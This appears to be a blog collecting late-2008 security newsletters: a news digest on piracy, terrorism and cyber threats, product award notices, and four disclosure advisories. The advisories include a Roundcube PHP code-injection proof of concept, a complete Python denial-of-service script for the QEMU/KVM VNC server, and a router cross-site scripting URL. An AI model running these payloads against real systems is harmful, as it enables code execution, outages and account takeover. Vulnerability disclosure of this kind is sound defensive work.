Security World

Friday, December 26, 2008

Security Management Weekly - December 26, 2008

Learn more! ->

December 26, 2008

CORPORATE SECURITY

	1. "	Chinese Warships Embark on Antipiracy Mission" Off the Coast of Somalia

	2. "	Insurance Trade Says FTC Order Threatens Consumer Security"

	3. "	As Economy Dips, Arrests for Shoplifting Soar"

	4. "	Indian Firms Review Security but Hesitate at Costs"

	5. "	Terror-Shattered Hotels Reopen As Mumbai Returns to Business"

HOMELAND SECURITY

	6. "	Iraq Militants in Police Battle" Ramadi

	7. "	Homeland Security Forecasts 5-Year Terror Threats"

	8. "	Iraq Celebrates Christmas as Official Holiday for First Time"

	9. "	Jury: 5 Plotted to Kill Soldiers at Fort Dix" Camden, N.J.

	10. "	European Countries May Take Detainees" Some Guantanamo Prisoners May be Resettled in Europe as Part of Good Will Gesture to Obama

CYBER SECURITY

	11. "	Cyberwargames Test Readiness for Info Attacks"

	12. "	Congress in the Cyber-Crosshairs" Despite Attacks, Congress May Not Tackle Cyber Security Issues

	13. "	Foreign Hackers Are Overwhelming U.S. Government Computers, Says Analyst" Heritage Foundation Senior Research Fellow John Tkacik

	14. "	Top 10 Threats to Computer Systems Include Professors and Students"

	15. "	Survey: Collaboration Applications Inadequately Secured" Rohati Survey Finds Applications Used to Facilitate Communication and Activity Among Employees Lack Security Features

"Chinese Warships Embark on Antipiracy Mission"
Wall Street Journal (12/26/08)

On Dec. 26, Chinese warships, outfitted with special forces, guided missiles, and helicopters, left for anti-piracy duty off the coast of Somalia. The three vessels--a pair of destroyers and a supply ship--could heighten concerns over expanding Chinese military power. In addition, the mission will challenge China's ability to work with other naval forces monitoring the Gulf of Aden, one of the world's most-traveled sea lanes. Warships from the United States, NATO, India, and Russia are patrolling the pirate-infested Somali waters as well. China stated it was joining the anti-piracy mission on Dec. 23 after the United Nations Security Council sanctioned countries to carry out land and air assaults on pirate bases. Pirates have earned around $30 million from hijacking ships for ransom in 2008, stealing over 40 vessels off of Somalia's 1,880-mile coastline. Sending ships to the Gulf of Aden symbolizes an important step in the growth of China's navy, according to a report the Austin, Texas-based intelligence firm Stratfor. The company states that the mission will be complex, providing crucial on-the-job instruction in refueling, resupply, and repairs far from China, in addition to searching for pirates.
(go to web site)

"Insurance Trade Says FTC Order Threatens Consumer Security"
SC Magazine (12/24/08) ; Kaplan, Dan

According to the American Insurance Association (AIA), the U.S. Federal Trade Commission's (FTC) order requiring nine insurance companies to provide data on how consumer credit information is used to set premiums could violate consumer privacy and raise security concerns. Among the information requested by the FTC under the Fair and Accurate Credit Transactions Act of 2003 is Social Security numbers, mortgage data, and other information, some of which AIA says insurers do not collect. "We are disappointed the FTC chose this route, despite the industry's good-faith efforts to work cooperatively to find a sensible, secure and cost-effective alternative to provide the data the FTC says it needs to conducts its study. The use of a 'compulsory process' does not allay our serious concerns about the handling and protection of massive amounts of consumer data," says AIA Vice President and Assistant General Counsel David Snyder.
(go to web site)

"As Economy Dips, Arrests for Shoplifting Soar"
New York Times (12/23/08) P. A1 ; Urbina, Ian; Hamill, Sean D.

Police departments report that the number of shoplifting arrests is between 10 percent and 20 percent higher this year due to the struggling economy. The actual number of shoplifting incidence is likely higher since most stores handle the matter internally by banning the thief from the store. Although most of the increase is from first-time offenders, organized crime rings are playing a larger role in shoplifting and fraud. The economy has forced many retailers and police departments to reduce staffing levels, making stores more vulnerable to shoplifting. Many stores are also reluctant to instruct employees to question suspicious customers because they don't want to do anything that could result in lost business. Seasonal workers hired for the holiday rush are also less experienced at catching shoplifters and more likely to commit theft themselves. The nonprofit National Association for Shoplifting Prevention estimates that over $35 million in merchandise is stole every day in the United States, with most of the items resold on the Internet. Some Web sites even sell fake receipts that shoplifters can use to obtain a cash refund for stolen goods. In order to combat the rise in retail crime, law enforcement agencies and retailers are working together to try new tactics. One Georgia-based chain of convenience stores has linked its video surveillance system to the local police station, where officers keep a lookout for shoplifters. Shoplifters arrested in Louisiana must now pay a mandatory $1,000 bail or stay in jail until their trial.
(go to web site)

"Indian Firms Review Security but Hesitate at Costs"
Reuters (12/23/08) ; Chandran, Rina

Although Indian hotels and other businesses became acutely aware of the need for increased security and terror insurance in the wake of the terrorist attacks on Mumbai last month, the tough economy and the need to save money could prevent companies from improving their security, experts say. According to Raghu Raman, the chief executive of the security firm Mahindra Special Services, tight budgets are forcing most Indian companies to simply purchase inexpensive metal detectors. In addition, many Indian businesses do not have a proper security plan in place because they just want to be seen as doing more to improve security so that they can reassure their employees, Raman said. Meanwhile, some companies could stop adding terror insurance to their standard fire policies in an effort to save money, said Radhakrishna Chamarty, the director of India Insure Risk Management & Insurance Broking Services. Chamarty noted that while businesses of all sizes see the need for terror insurance, they believe that insurance is an expense that can be cut during difficult economic times.
(go to web site)

"Terror-Shattered Hotels Reopen As Mumbai Returns to Business"
Wall Street Journal (12/22/08) P. A1 ; Anand, Geeta; Bellman, Eric

On Dec. 21, Mumbai, India's Taj Mahal Palace & Tower and Trident-Oberoi hotels reopened for the first time since the terrorist attacks that killed 171 individuals last month. Increased security was put in place for the reopening of the hotels. For instance, a baggage scanner was installed right outside the entrance of the Trident, and a policeman stood watch in the driveway, ensconced in a series of sandbags with his gun directed at the entrance. Guests and their hand luggage were searched. Meanwhile, outside the Taj, security officers stopped patrons and searched bags at a couple of checkpoints prior to accessing the lobby entrance, where all baggage was put through a baggage scanner. Guests entered via a metal detector. The hotels restarted business following three weeks of hurried repairs and reconstruction. At the Taj, which reopened its newer tower wing but left closed the older "heritage" wing that received the bulk of the terrorist attacks, employees replaced marble destroyed by grenades, removed bullets from the walls, replaced broken glass, repainted large sections of the lobby and restaurants, and fixed the main kitchen. The Trident, the 550-room tower that is located in the Trident Oberoi complex, reopened after busted lobby windows and sections of the wooden pillars and marble flooring in the lobby were fixed. It will take around six months and cost about $10 million to reopen the Oberoi and its restaurants.
(go to web site)

"Iraq Militants in Police Battle"
BBC News (12/26/08)

Six Iraqi policemen and seven detained militants with alleged links to al-Qaida were killed Friday when the prisoners tried to escape from a police station in Ramadi, a city about 60 miles west of Baghdad in Anbar province. According to police, one of the prisoners overpowered an officer as he was being escorted from his cell to use the bathroom. The prisoner then grabbed the officer's weapon and shot him. After shooting the officer, the prisoner opened up the other cells to release his fellow prisoners, who then used weapons from the police station's armory to open fire on the other police officers. Three of the prisoners were able to escape during the gun fight. Police are conducting searches throughout Ramadi in an effort to find the escaped prisoners.
(go to web site)

"Homeland Security Forecasts 5-Year Terror Threats"
Associated Press (12/25/08) ; Sullivan, Eileen

The Department of Homeland Security has released its Homeland Security Threat Assessment report, which looks at the threats the United States will face between now and 2013. According to the report, which was distributed to law enforcement, intelligence officials, and the private sector, terrorist attacks that are committed with weapons of mass destruction are the most dangerous types of attacks that could be launched against the United States. However, the report noted that such attacks are also the most unlikely because terrorist groups such as al-Qaida cannot easily obtain the materials needed to make these weapons. Nevertheless, terrorists could try to conduct an attack using biological weapons sometime over the next five years, according to the report. The report also noted that cyber attacks will be another growing terror threat over the next five years. Although al-Qaida currently lacks the ability to conduct cyber attacks, they do have the capability of hiring sophisticated hackers to carry them out, the report said. The report added that al-Qaida could direct or inspire cyber attacks that target the U.S. economy sometime during the next three to five years.
(go to web site)

"Iraq Celebrates Christmas as Official Holiday for First Time"
Wall Street Journal (12/25/08)

Christians in Iraq quietly celebrated Christmas, with the government referring to the day as an official holiday for the first time. Security concerns, however, marred the day for many celebrants, especially in the north, where thousands of Christians have fled to in an effort to avoid religious attacks in this mostly Muslin country. While security as a whole in Iraq has improved significantly in 2008, a deadly car bombing in Baghdad on the morning of Dec. 25 was a vivid reminder that substantial problems continue. The bombing outside a restaurant killed four individuals and wounded 25 others in the Shiite section of Shula. In addition, an oil official stated terrorists blew up a pipeline in the city of Kirkuk on Dec. 24. Iraq's Christians, thought to comprise just a few hundred thousand of the nation's 26 million people, have frequently been the focus of attacks by Islamic extremists in Iraq. Tens of thousands have left, while many of those who remained were isolated in neighborhoods shielded by barricades and checkpoints. A bombing campaign in 2004 targeted churches in Baghdad, and anti-Christian violence also occurred in September 2007 after Pope Benedict XVI made statements interpreted to be against Islam.
(go to web site)

"Jury: 5 Plotted to Kill Soldiers at Fort Dix"
Associated Press (12/23/08)

A federal jury in Camden, N.J., convicted five Muslim immigrants on Monday for planning to kill soldiers at an Army base at Fort Dix, N.J. In addition to planning to attack Fort Dix, the men--who were not connected to any foreign terrorist organizations--also conducted surveillance at Fort Monmouth, N.J.; Dover Air Force Base in Delaware; and several other military installations. During the trial, prosecutors alleged that the men had talked about attacking some of those locations. However, lawyers for the men argued that their clients were not seriously planning any attacks and that they were manipulated and goaded by two paid FBI informants. The men, who have lived in the U.S. for some time, could face life in prison for their conviction on the charge of conspiracy to kill U.S. soldiers when they are sentenced in April. A sixth man who was involved in the plot has already pleaded guilty to gun offenses.
(go to web site)

"European Countries May Take Detainees"
Washington Post (12/23/08) P. A1 ; Finn, Peter

Senior European officials and U.S. diplomats are reporting that European nations are discussing whether to accept some of the 60 detainees at Guantanamo Bay that have been cleared for release by U.S. authorities. At least six European countries are considering resettling the detainees, who are at "the less dangerous end of the spectrum," according to a recent study by the Brookings Institution. Only two of those countries, Germany and Portugal, have publicly acknowledged that they are considering resettling the detainees. The willingness of European officials to consider taking the detainees marks a significant change in the attitude of European governments, who refused the Bush administration's requests to accept some of the alleged extremists. According to a German official, European governments are considering accepting some of the detainees now because there is a general desire in Europe "to please [President-elect Barack] Obama." The matter still needs to be discussed by all 27 members of the European Union, who need to generally agree on accepting the detainees before they can be resettled. However, the German official said that the requirement should not block a resettlement deal.
(go to web site)

"Cyberwargames Test Readiness for Info Attacks"
Ars Technica (12/22/08) ; Sanchez, Julian

On Dec. 17-18, 230 top leaders from the government and the private sector attended the Cyber Strategic Inquiry. This gathering included a simulation of an attack on America's information infrastructure, run by consulting firm Booz Allen Hamilton in collaboration with Business Executives for National Security. Participants were split into four teams, representing groups that would have to respond quickly in the event of a real attack. Groups that may be affected include Homeland Security, the Defense Department, financial services, telecom, IT, energy, and transportation. According to Booz Allen Senior VP Mark Gerencser, there is currently no set response or "game plan" in case of a cyber attack, and no centralized authority. This reflects recent findings by the Government Accountability Office that said the United States lacked readiness for a cyber attack. At the end of the simulation, Homeland Security Secretary Michael Chertoff called for public-private cooperation in case of a real attack, as well as more openness from normally secretive government agencies.
(go to web site)

"Congress in the Cyber-Crosshairs"
National Journal (12/20/08) Vol. 40, No. 51, P. 18 ; Harris, Shane

Two years ago, seven U.S. House panels and eight members' offices were compromised by malware that could pilfer files and messages, and both the targeted House members and the attackers' Internet addresses suggest that the intrusions originated in China. In a speech before the House, Rep. Frank Wolf (R-Va.), whose office was targeted by the hack, argued that the fear of admitting vulnerability might be one of the reasons underlying U.S. intelligence and national security's reluctance to publicize the breaches sooner. "I strongly believe that the appropriate officials, including those from the Department of Homeland Security and the FBI, should brief all members of Congress in a closed session regarding threats from China and other countries against the security of House technology, including our computers, BlackBerry devices, and phones," he said. There appears to be a strong degree of disinterest from members of Congress about discussing cybervulnerabilities because they have little understanding of such issues. Former director of the DHS' National Cyber Security Division Amit Yoran says members of Congress have to juggle many competing issues, and cybersecurity has had a historically low priority. There is evidence that the expertise of the House and Senate's IT and security departments is very strong, but Yoran says the decision to follow security procedures is left to members and their staffers, who may elect not to follow procedures because they consider it an imposition. The Center for Strategic and International Studies concluded in a recent study prepared for President-elect Barack Obama that Congress is unsuited for managing executive-branch cybersecurity due to the inconsistency and fragmentation of its oversight. The study group recommended that Obama take charge of cybersecurity and establish a new office for cyberspace in the Executive Office of the President that would collaborate closely with the National Security Council, "managing the many aspects of securing our national networks while protecting privacy and civil liberties."
(go to web site)

"Foreign Hackers Are Overwhelming U.S. Government Computers, Says Analyst"
Security Management (12/08) ; Wagley, John

Experts estimate that foreign hackers have illegally accessed over half of the U.S. government and military computers that they are interested in. Heritage Foundation senior research fellow John Tkacik called cyber attacks supported by the Chinese government the "single biggest military and intelligence threat the U.S. faces." There were 43,880 incident of malicious activity against Department of Defense and defense company computers in 2007, a 31 percent increase from 2006. Although statistics have not yet been released for 2008, there have been a number of high-profile attacks, including successful breaches of both major presidential campaigns, the World Bank, and the White House. Although many politicians have hesitated to publicly blame China, data suggests that Chinese intelligence plays a large role in many cyber attacks. Experts also believe that Russia has been involved in major cyber attacks in Estonia and Georgia over the pas two years. Several vital Georgian Web sites were struck at the same time Russian troops attacked, marking the first time that cyber attacks were used during a military first strike.
(go to web site)

"Top 10 Threats to Computer Systems Include Professors and Students"
Chronicle of Higher Education (12/19/08) Vol. 55, No. 17, P. A9 ; Young, Jeffrey R.

The biggest cybersecurity threat colleges and universities face is malware and botnets, writes Jeffrey R. Young, who compiled a list of the 10 biggest threats to campus computer security based on several recent computing surveys and interviews with more than 12 college IT leaders. A recent estimate by the Georgia Tech Information Security Center found that 15 percent of computers that are connected to the Internet in countries around the world are part of botnets, which are often used by cybercriminals to send out spam. In 2007, 10 percent of computers were part of botnets. Botnets and other types of malware are problematic because they get upgraded faster than makers of antivirus software can distribute new antivirus signatures to identify and block the malicious programs, says the Internet2's Joseph E. St. Sauver. Another major problem for colleges and universities is the theft of computers with sensitive data, a crime that has increased in frequency every year for the past five years, a survey by the Campus Computing Project found. The problem could likely become worse in the future as laptops become smaller and flash drives are used to store more information. Experts are urging professors and administrators to encrypt their sensitive data so criminals will not be able to access the information from a stolen laptop.
(go to web site)

"Survey: Collaboration Applications Inadequately Secured"
SC Magazine (12/18/08) ; Moscaritolo, Angela

Many of the collaboration applications businesses use to facilitate communication and activity among workers, including Web-based intranet portals, Microsoft SharePoint, and common Internet file systems (CIFS) lack sophisticated security features, concludes Rohati in its recent survey of 117 CISOs, CIOs, and IT leaders. More than 50 percent of the security leaders surveyed said their businesses rely on collaboration applications. Of those, 71 percent said they are not proactively securing information that passes through these platforms. Rohati's Shane Buckley says almost every organization is likely to have at least one application that does not meet regulatory compliance requirements. "The question is if your risk profile is increasing as you go forward," he notes. "As the collaborative devices are being rolled out, the risk profile is increasing." About 40 percent of those surveyed said the risk of malicious users accessing sensitive data was the chief concern pertaining to collaboration applications. Twenty-nine percent were worried that application vulnerabilities would lead to a data breach, and 14 percent said they were most concerned about the internal abuse of data found on collaboration applications.
(go to web site)

ASIS also offers a daily and a non-sponsored, special-content Professional Edition of
Security Newsbriefs. Please click to see a sample or to contact us for more information.

Unsubscribe | Change E-mail | Advertising Opportunities | Security Management Online | ASIS Online

Thursday, December 25, 2008

WindowSecurity.com - Symantec Altiris SecurityExpressions - Voted WindowSecurity.com Readers’ Choice Award Winner - Network Auditing

Hi Security World,

A new article has been added to WindowSecurity.com:

Title: Symantec Altiris SecurityExpressions - Voted WindowSecurity.com Readers' Choice Award Winner - Network Auditing
Author: The Editor
Link: http://www.WindowSecurity.com/news/WindowSecurity-Readers-Choice-Award-Network-Auditing-Symantec-Altiris-SecurityExpressions-Nov08.html
Summary: Symantec Altiris SecurityExpressions was selected the winner in the Network Auditing category of the WindowSecurity.com Readers' Choice Awards. Karalon Traffic IQ Professional was first runner-up and i-Sprint Enterprise AdminGuard and Stealthbits StealthAUDIT were second runners-up.

Visit the Subscription Management (http://www.techgenix.com/newsletter/) section to unsubscribe.
WindowSecurity.com is in no way affiliated with Microsoft Corp.
For sponsorship information, contact us at advertising@windowsecurity.com
Copyright © WindowSecurity.com 2008. All rights reserved.

Wednesday, December 24, 2008

Luxury phones flout recession woes


Wednesday, Dec 24, 2008 EDITOR'S NOTE We've got a new InfoWorld Job Board. Get new alerts as they're posted. Check it out: Click here. >> Luxury phones flout recession woes Posted December 23, 03:03 a.m. Pacific Time Since my last name isn't Hilton, Trump, or Rockefeller, I won't be treating myself to any of these upscale handsets. Yet, these luxury phones will certainly wind up in someone's gold-threaded stocking. Let's break down the latest ridiculous offerings: 1. Samsung Ego GT-S9402 -- Given the derivative design (Vertu's Ferrari Ascent Ti came first), the Ego should be docked some originality points. What will your $1,500-plus get you? A 5-megapixel camera with LED flash, Bluetooth 2.0, a microSDHC expansion slot, tri-band ... >> 3G iPhone unlock expected on New Year's Eve Posted December 24, 09:38 a.m. Pacific Time The iPhone Dev Team (not the Cupertino version) plans to release the first ever software-based unlock application for the iPhone 3G on New Year's Eve. >> Android G2 rumors abound Posted December 22, 14:07 p.m. Pacific Time The T-Mobile G1 phone has been fairly successful so far, although it hasn't yet approached usurping the iPhone from its lofty consumer throne. And so the rumors have already started about the possibility of an Android G2 phone. The latest round of rumors started at Mobile Top Soft, which reported that the HTC Touch HD phone would arrive in the U.S. instead as the T-Mobile G2 phone running Google's Android OS. Cell Phone Signal then picked up the rumor, adding some preliminary specs for the G2 as well as the shockingly early release date of January 26. The rumor built up momentum from there until The Boy Genius Report cited an anonymous source that Cell Phone Signal's report was fairly accurate with the exception of the date, which is now rumored to be between late February and April. >> Lenovo to release ThinkPad laptop with two LCD screens Posted December 22, 05:14 a.m. Pacific Time Lenovo Group Ltd. Friday announced the release of a ThinkPad laptop that takes the "desktop replacement" category of notebook PCs to a new level. >> How to buy a netbook Posted December 18, 08:40 a.m. Pacific Time Four months ago, we published a buyers guide for small, lightweight laptops titled, "How to buy a mini-laptop ." >> Itty bitty news bite committee Posted December 22, 10:08 a.m. Pacific Time SlingPlayer for BlackBerry - Sling Media has kept us anticipating this news for nearly a year, but at long last a public beta of SlingPlayer for BlackBerry will arrive on Dec. 30, allowing Slingbox users to watch and control their TV and DVR via BlackBerry. Although the software won't be available for RIM's "best selling Verizon handset," the Storm, most other BlackBerry users will be able to test this out (EDGE users may have some difficulty, because the application targets 3G ... >>
You are subscribed to infoworld_mobile_rpt as SECURITY.WORLD@gmail.com. To unsubscribe from infoworld_mobile_rpt, please click here To unsubscribe from all InfoWorld newsletters, please click here View our privacy policy Register at InfoWorld.com Advertise with us Copyright © 2008 InfoWorld Media Group. 501 Second St. San Francisco, CA 94017

[UNIX] Roundcubemail PHP Arbitrary Code Injection

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Roundcubemail PHP Arbitrary Code Injection
------------------------------------------------------------------------

SUMMARY

Roundcube Webmail is a browser-based IMAP client that uses "chuggnutt.com
HTML to Plain Text Conversion" library to convert HTML text to plain text,
this library uses the preg_replace PHP function in an insecure manner. A
vulnerability in Roundcubemail's html2text script allows unauthenticated
remote attackers to execute arbitrary PHP code.

DETAILS

Vulnerable Systems:
* Round Cube RoundCube Webmail 0.2-3 beta
* Round Cube RoundCube Webmail 0.2-1 alpha (tested)

Analysis of the vulnerable code
The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:

// Run our defined search-and-replace
$text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e"
flag, i.e.:
'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">
'/<b[^>]*>(.+?)<\/b>/ie', // <b>
'/<th[^>]*>(.+?)<\/th>/ie', // <th> and </th>

In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', // <a href="">
'strtoupper("\\1")', // <b>
"strtoupper(\"\t\t\\1\n\")", // <th> and </th>

Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside strings.

Proof of Concept
As this vulnerability was discovered in-the-wild:
<http://trac.roundcube.net/ticket/1485618>
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc to
avoid using single or double quotes the arbitrary shell command execution
is fully feasible.

Patch:
Apply the patch provided at:
<http://sourceforge.net/forum/forum.php?forum_id=898542>
http://sourceforge.net/forum/forum.php?forum_id=898542

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5619>
CVE-2008-5619

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@sofistic.net>
Jacobo Avariento Gimeno.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

[NT] Trend Micro HouseCall ActiveX Control Arbitrary Code Execution

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Trend Micro HouseCall ActiveX Control Arbitrary Code Execution
------------------------------------------------------------------------

SUMMARY

"Trend Micro's HouseCall is an application for checking whether your
computer has been infected by viruses, spyware, or other malware.
HouseCall performs additional security checks to identify and fix
vulnerabilities to prevent reinfection." Secunia Research has discovered a
vulnerability in Trend Micro HouseCall, which can be exploited by
malicious people to compromise a user's system.

DETAILS

Vulnerable Systems:
* Trend Micro HouseCall ActiveX Control version 6.51.0.1028
* Trend Micro HouseCall ActiveX Control version 6.6.0.1278

Immune Systems:
* Trend Micro HouseCall ActiveX Control version 6.6.0.1285

The vulnerability is caused due to an implementation error within the
HouseCall ActiveX control (Housecall_ActiveX.dll). This can be exploited
to e.g. download and load an arbitrary library file by specifying a custom
update server.

Successful exploitation allows execution of arbitrary code.

Solution:
Remove the ActiveX control and install version 6.6.0.1285 by going to
<http://prerelease.trendmicro-europe.com/hc66/launch/>
http://prerelease.trendmicro-europe.com/hc66/launch/

HouseCall Server Edition:
* Apply hotfix B1285.

Time Table:
18/08/2008 - Vendor notified.
19/08/2008 - Vendor response.
02/09/2008 - Vendor acknowledges vulnerability.
03/09/2008 - Vendor asks if version 6.6 is also affected.
03/09/2008 - Vendor informed that version 6.6 is not available.
09/09/2008 - Vendor informs that version 6.6 site is now accessible.
18/09/2008 - Vendor informed that version 6.6 is not affected by the
current exploit, but will be checked in-depth later.
23/09/2008 - Vendor informed that version 6.6 is also vulnerable when
using a slightly modified exploit.
27/09/2008 - Vendor provides status update.
13/11/2008 - Status update requested.
13/11/2008 - Vendor provides status update.
14/11/2008 - Vendor provides hotfix for testing.
14/11/2008 - Informed the vendor that the supplied hotfix does not address
the vulnerability properly.
18/11/2008 - Vendor requests updated exploit.
19/11/2008 - Updated exploit sent to the vendor.
22/12/2008 - Status update requested.
22/12/2008 - Vendor informs that hotfix for SA31583 also fixes this
vulnerability.
22/12/2008 - Public disclosure.

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2434>
CVE-2008-2434

ADDITIONAL INFORMATION

The information has been provided by Secunia Research.
The original article can be found at:
<http://secunia.com/secunia_research/2008-32/>
http://secunia.com/secunia_research/2008-32/

========================================

====================
====================

[NEWS] Qemu and KVM VNC Server Remote DoS

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Qemu and KVM VNC Server Remote DoS
------------------------------------------------------------------------

SUMMARY

The VNC server of Qemu and KVM virtualization solutions are vulnerable to
a remote DoS, when specially crafted packets are received by the host VNC
server causing an infinite loop.

Successful exploitation causes the host server to enter an infinite loop
and cease to function. The vulnerability can be triggered remotely by
external hosts or virtualized guests. No special privileges are required
to perform the Denial of Service.

DETAILS

Vulnerable Systems:
* Qemu version 0.9.1 and older
* kvm version 79 and older

Technical Description / Proof of Concept Code:
The function 'protocol_client_msg()' in the file 'vnc.c' ('qemu/vnc.c' in
kvm-66) is in charge of processing incoming VNC low-level messages. A
listing of the vulnerable source follows:
/-----------

vnc.c
1185: static int protocol_client_msg(VncState *vs, uint8_t *data, size_t
len)
1186: {
1187: int i;
1188: uint16_t limit;
1189:
1190: switch (data[0]) {

1201: case 2:
1202: if (len == 1)
1203: return 4;
1204:
1205: if (len == 4)
1206: return 4 + (read_u16(data, 2) * 4);

-----------/

When the VNC server receives a message consisting of '\x02\x00\x00\x00'
the 'read_u16()' function will return zero, and an infinite loop will be
triggered, because this function will be called with the len parameter
always equal to 4.

Proof of Concept:
The following python script implements a basic VNC client that triggers
the vulnerability on the VNC server.

*NOTE:* Some VNC servers like KVM, don't bind to 0.0.0.0 by default, but
the server can still be reached from a guest VM when no VNC client is
attached.

/-----------

Example:

Launch vulnerable qemu:

~$qemu ./test.img - -vnc 0.0.0.0:0

Launch attack:

~$python qemu-kvm-DoS.py localhost 5900

-----------/

/-----------

##
## vnc remote DoS
##

import socket
import time
import struct
import sys

if len(sys.argv)<3:
print "Usage: %s host port" % sys.argv[0]
exit(0)

host = sys.argv[1] # "127.0.0.1" # debian 4
port = int(sys.argv[2]) # 5900

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
# rec-send versions
srvversion = s.recv(100)
cliversion=srvversion
s.send(cliversion)
print "Server version: %s" % srvversion

#Security types

sec=s.recv(100)
print "Number of security types: %d" % ord(sec[0])
s.send(sec[1])

# Authentication result
auth=s.recv(100)
if auth=="\x00\x00\x00\x00":
print "Auth ok."

# Share desktop flag: no
s.send("\x00")

# Server framebuffer parameters:
framebuf=s.recv(100)

# Trigger the bug
s.send("\x02\x00\x00\x00\x00\xff"+struct.pack("<L",1)*5)

s.close()

-----------/

Report Timeline:
2008-12-10: Core Security Technologies notifies the Qemu, Xen and KVM
teams of the vulnerability.
2008-12-11: KVM team acknowledges notification.
2008-12-12: Core sends technical details of the vulnerability to the KVM
team.
2008-12-13: KVM team informs that it will inform the Qemu team, since the
vulnerable code is inherited from Qemu.
2008-12-16: Core replies that the vulnerability is present in Qemu, KVM
and Xen, and that its intention is to coordinate the disclosure of this
issue with the three teams. The proposed publication date is January 5th,
2009.
2008-12-16: Xen team acknowledges notification.
2008-12-16: Core sends technical details to the Xen team.
2008-12-16: Qemu team confirms the vulnerability, and has patches ready.
2008-12-17: Xen informs that they are not vulnerable.
2008-12-17: Core proposes to disclose the issue on December 22nd, 2008, if
both Qemu and KVM have patches ready.
2008-12-18: Qemu and KVM teams agree to publish the issue on Dec 22.
2008-12-22: The advisory CORE-2008-1210 is published.

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2382>
CVE-2008-2382

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@coresecurity.com>
CORE Security Technologies Advisories.
The original article can be found at:
<http://www.coresecurity.com/content/vnc-remote-dos>
http://www.coresecurity.com/content/vnc-remote-dos

========================================

====================
====================

[NEWS] WiFi Router COMTREND Multiple Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

WiFi Router COMTREND Multiple Vulnerabilities
------------------------------------------------------------------------

SUMMARY

The <http://www.comtrend.com> COMTREND CT-536 is an 802.11g (54Mbps)
wireless and wired Local Area Network (WLAN) ADSL router. Four 10/100
Base-T Ethernet and single USB ports provide wired LAN connectivity with
an integrated 802.11g WiFi WLAN Access Point (AP) for wireless
connectivity. The CT-536 ADSL router provides state of the art security
features such as WPA data encryption; Firewall, VPN pass through. Improper
validation of micro_httpd server of the Wifi Router COMTREND permits
multiple attacks though this stateless server. Also, access control is
inefficient and does not control access at all. Credentials are sent in
clear text so "user" could get them easily.

DETAILS

Vulnerable Systems:
* COMTREND CT-536/HG-536+ A101-302JAZ-C01_R05

1. User "user" (least privileged user, read only and limited access
configuration reading) can ask to access resources he is not allowed to
and the server will return the page asked. This includes the password
changing page:
http://192.168.0.1/password.html

2. The router sends the 3 users passwords in clear inside the HTML

3. Some points in the configuration description options are vulnerable to
Cross Site Scripting attacks due improper validation:
http://192.168.0.1/scvrtsrv.cmd?action=add&srvName=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E& srvAddr=192.168.1.1&proto=1,&eStart=1,&eEnd=1,&iStart=1,&iEnd=1

4. Some resources (i.e. NAT table are vulnerable to Buffer overflows
attacks) through the description fields that seems to kill the micro_httpd
server although the router continues routing. Also similar behavior is
seen when asking for URLs that add %13 and %10 chars, without matching
micro_httpd checks "..", "../", "/../"

5. User "user" accesses with "admin" privileges when connecting through
TELNET service

6. User "support" seems to not exist at all

Impact:
DoS of the Web Configuration interface although the router continues
routing. DoS of router, causing a set to reset configuration, meaning the
start up of Wireless interface (activated by default) without any type of
protection and having the possibility to access the router or the network.
Reset of router configuration. Access with "admin" (privileged)
permissions to user "user".

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@isecauditors.com>
ISecAuditors Security Advisories.

========================================

====================
====================

WindowsNetworking.com - Active Directory Janitor - Voted WindowsNetworking.com Readers’ Choice Award Winner - Administration Tools Category

WindowsNetworking.com - RealTime Article Update

Hi Security World,

Title: Active Directory Janitor - Voted WindowsNetworking.com Readers' Choice Award Winner - Administration Tools Category
Author: The Editor
Link: http://www.WindowsNetworking.com/news/WindowsNetworking-Readers-Choice-Award-Administration-Tools-Active-Directory-Janitor-Nov08.html
Summary: Active Directory Janitor was selected the winner in the Administration Tools category of the WindowsNetworking.com Readers' Choice Awards. DameWare NT Utilities and Hyena were first runner-up and second runner-up.

